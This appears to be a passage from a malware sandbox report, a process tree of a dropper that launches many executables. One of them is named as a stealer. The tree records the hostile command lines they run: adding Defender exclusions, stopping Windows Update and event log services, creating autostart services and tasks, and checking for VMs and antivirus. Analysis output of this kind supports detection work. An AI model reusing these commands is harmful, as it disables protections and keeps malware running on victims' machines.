      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1884
- - C:\Users\Admin\AppData\Local\Temp\Files\r.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:748
  - - C:\Windows\sysvplervcs.exe
      C:\Windows\sysvplervcs.exe
      4⤵
      Modifies security service
      Windows security bypass
      Executes dropped EXE
      Windows security modification
      Suspicious behavior: SetClipboardViewer
      PID:3824
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        5⤵
        
        PID:2024
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4544
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
        5⤵
        
        PID:2572
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:3672
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1476
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:2284
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop DoSvc
        6⤵
        Launches sc.exe
        
        PID:924
      - C:\Windows\SysWOW64\sc.exe
        
        sc stop BITS /wait
        6⤵
        Launches sc.exe
        
        PID:2764
    - - C:\Users\Admin\AppData\Local\Temp\2905210929.exe
        
        C:\Users\Admin\AppData\Local\Temp\2905210929.exe
        5⤵
        Executes dropped EXE
        
        PID:3000
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:1504
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:3944
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:4868
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3528
    - - C:\Users\Admin\AppData\Local\Temp\272992552.exe
        
        C:\Users\Admin\AppData\Local\Temp\272992552.exe
        5⤵
        Executes dropped EXE
        
        PID:2956
    - - C:\Users\Admin\AppData\Local\Temp\438530819.exe
        
        C:\Users\Admin\AppData\Local\Temp\438530819.exe
        5⤵
        Executes dropped EXE
        
        PID:1472
- - C:\Users\Admin\AppData\Local\Temp\Files\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Update.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:432
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1756
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:4368
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4836
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:4520
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:3352
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:2680
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:2216
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      4⤵
      Power Settings
      PID:4784
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      4⤵
      Power Settings
      PID:1268
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      4⤵
      Power Settings
      PID:2428
  - - C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:960
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      PID:1408
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "LDQRSTKE"
      4⤵
      Launches sc.exe
      PID:1196
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "LDQRSTKE" binpath= "C:\ProgramData\bjvvxgbjmpij\npldfzxzkixc.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:2904
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:4532
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "LDQRSTKE"
      4⤵
      Launches sc.exe
      PID:1156
- - C:\Users\Admin\AppData\Local\Temp\Files\document.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\document.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:392
  - - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
      "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
      4⤵
      System Location Discovery: System Language Discovery
      PID:1516
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\Squirrel.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\Squirrel.exe" --updateSelf=C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
        5⤵
        
        PID:5852
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --squirrel-install 1.0.0
        5⤵
        Loads dropped DLL
        
        PID:5900
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1688 --field-trial-handle=1692,i,11501729326383767666,8487990922421573515,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        6⤵
        Loads dropped DLL
        
        PID:6072
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --mojo-platform-channel-handle=1892 --field-trial-handle=1692,i,11501729326383767666,8487990922421573515,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:6096
    - - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --squirrel-firstrun
        5⤵
        Loads dropped DLL
        
        PID:5508
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2112 --field-trial-handle=2160,i,17692147120610099715,5824197439921906400,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        6⤵
        Loads dropped DLL
        
        PID:5820
      - C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe
        
        "C:\Users\Admin\AppData\Local\app_kush_com\app-1.0.0\cw_launcher.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\cw_launcher" --mojo-platform-channel-handle=2228 --field-trial-handle=2160,i,17692147120610099715,5824197439921906400,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8
        6⤵
        Loads dropped DLL
        
        PID:5644
- - C:\Users\Admin\AppData\Local\Temp\Files\hfs.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hfs.exe"
    3⤵
    PID:2112
- - C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\18ijuw13.exe"
      4⤵
      PID:5548
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2520 -s 264
      4⤵
      Program crash
      PID:5616
- - C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kdmapper_Release.exe"
    3⤵
    PID:1400
- - C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\ipscan221.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:3616
- - C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe"
    3⤵
    - Drops file in System32 directory
    PID:4256
  - - C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\plswork.exe" /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5140
- - C:\Users\Admin\AppData\Local\Temp\Files\Beefy.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Beefy.exe"
    3⤵
    PID:5056
- - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3712
  - - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
      4⤵
      PID:5264
  - - C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\j4vzzuai.exe"
      4⤵
      PID:5260
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3712 -s 320
      4⤵
      Program crash
      PID:5384
- - C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\jsawdtyjde.exe"
    3⤵
    PID:5180
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
      4⤵
      PID:5484
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        
        clamer.exe -priverdD
        5⤵
        
        PID:5656
      - C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4924
- - C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\newtpp.exe"
    3⤵
    - Adds Run key to start application
    - Drops file in Windows directory
    PID:5420
  - - C:\Windows\sysnldcvmr.exe
      C:\Windows\sysnldcvmr.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: SetClipboardViewer
      PID:1708
    - - C:\Users\Admin\AppData\Local\Temp\3118127800.exe
        
        C:\Users\Admin\AppData\Local\Temp\3118127800.exe
        5⤵
        
        PID:3660
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        6⤵
        
        PID:5908
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        7⤵
        
        PID:1624
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        6⤵
        
        PID:5396
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        7⤵
        
        PID:3324
    - - C:\Users\Admin\AppData\Local\Temp\205518708.exe
        
        C:\Users\Admin\AppData\Local\Temp\205518708.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6044
    - - C:\Users\Admin\AppData\Local\Temp\248109462.exe
        
        C:\Users\Admin\AppData\Local\Temp\248109462.exe
        5⤵
        
        PID:5912
- - C:\Users\Admin\AppData\Local\Temp\Files\5_6253708004881862888.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\5_6253708004881862888.exe"
    3⤵
    - Suspicious use of SetThreadContext
    PID:5620
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5652
- - C:\Users\Admin\AppData\Local\Temp\Files\splwow64_1.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\splwow64_1.exe"
    3⤵
    - Drops file in Windows directory
    PID:4888
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c move Emotions Emotions.bat & Emotions.bat
      4⤵
      PID:5636
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:5892
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4844
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:4040
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5276
- - C:\Users\Admin\AppData\Local\Temp\Files\14082024.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\14082024.exe"
    3⤵
    - Modifies system certificate store
    PID:5412
- - C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe"
    3⤵
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    PID:4776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\Files\svchot.exe > nul
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:1468
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 2 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:8324
- - C:\Users\Admin\AppData\Local\Temp\Files\me.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\me.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\..\360Downloads\Pester.bat
      4⤵
      PID:1852
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping -n 4 127.0.0.1
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6112
- - C:\Users\Admin\AppData\Local\Temp\Files\soft.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\soft.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1872
- - C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\Pichon.exe"
    3⤵
    PID:3056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loli169.bat" "
      4⤵
      PID:5724
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic diskdrive get Model
        5⤵
        
        PID:5348
    - - C:\Windows\system32\findstr.exe
        
        findstr /i "DADY HARDDISK QEMU HARDDISK WDC WDS100T2B0A"
        5⤵
        
        PID:6120
- - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
    3⤵
    PID:1476
  - - C:\Users\Admin\AppData\Local\Temp\Files\main.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\main.exe"
      4⤵
      PID:6112
- - C:\Users\Admin\AppData\Local\Temp\Files\random.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\random.exe"
    3⤵
    PID:2584
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      PID:6108
    - - C:\Users\Admin\AppData\Local\Temp\1001698001\867186f74f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001698001\867186f74f.exe"
        5⤵
        
        PID:6776
      - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        
        "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
        6⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
        7⤵
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\1000817001\splwow64.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000817001\splwow64.exe"
        7⤵
        
        PID:6344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Beijing Beijing.bat & Beijing.bat
        8⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\1000833001\b25fd1460a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000833001\b25fd1460a.exe"
        7⤵
        
        PID:7428
        
        C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe"
        7⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1001527001\2kudv4ea.exe"
        8⤵
        
        PID:9256
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8868 -s 300
        8⤵
        Program crash
        
        PID:9376
        
        C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe"
        7⤵
        
        PID:10252
        
        C:\Windows\Temp\{43B8F379-A13A-4707-93D2-E004710CD7F4}\.cr\ha7dur10.exe
        
        "C:\Windows\Temp\{43B8F379-A13A-4707-93D2-E004710CD7F4}\.cr\ha7dur10.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\1002552001\ha7dur10.exe" -burn.filehandle.attached=564 -burn.filehandle.self=728
        8⤵
        
        PID:11144
    - - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        5⤵
        
        PID:5208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6672
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6060
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6640
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6472
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6584
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6744
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6564
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6508
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6976
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6932
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6992
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6984
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6960
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6808
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6816
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6868
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:2968
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5064
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5692
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6208
